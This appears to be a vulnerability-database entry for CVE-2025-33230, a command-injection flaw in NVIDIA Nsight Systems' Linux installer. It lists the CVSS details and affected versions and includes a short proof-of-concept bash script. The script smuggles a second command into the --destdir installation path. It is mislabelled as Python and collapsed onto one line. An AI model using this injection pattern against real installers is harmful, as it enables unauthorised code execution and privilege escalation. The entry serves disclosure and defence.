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CVE-2025-33230 CVSS 7.3 HIGH

CVE-2025-33230

Published: 2026-01-20 18:16:03
Last Modified: 2026-02-02 16:07:34

Description

NVIDIA Nsight Systems for Linux contains a vulnerability in the .run installer, where an attacker could cause an OS command injection by supplying a malicious string to the installation path. A successful exploit of this vulnerability might lead to escalation of privileges, code execution, data tampering, denial of service, and information disclosure.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:cuda_toolkit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA Nsight Systems < 2024.5.2
NVIDIA Nsight Systems for Linux (all versions prior to patch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-33230 PoC - NVIDIA Nsight Systems Command Injection # This PoC demonstrates the OS command injection vulnerability in the .run installer # Vulnerable installation path with injected command MALICIOUS_PATH="/tmp/test; echo 'Command Injection Successful' > /tmp/pwned.txt #" # Download vulnerable version (example version) # wget https://developer.download.nvidia.com/nsight-systems/2024.5.1/nsight-systems-cli-2024.5.1-linux64.xcuda.run # Attempt exploitation during installation # ./nsight-systems-cli-2024.5.1-linux64.xcuda.run --destdir="$MALICIOUS_PATH" # Verify exploitation if [ -f /tmp/pwned.txt ]; then echo "[+] Exploitation successful! Check /tmp/pwned.txt" cat /tmp/pwned.txt else echo "[-] Exploitation failed or target not vulnerable" fi # Cleanup rm -f /tmp/pwned.txt 2>/dev/null

References

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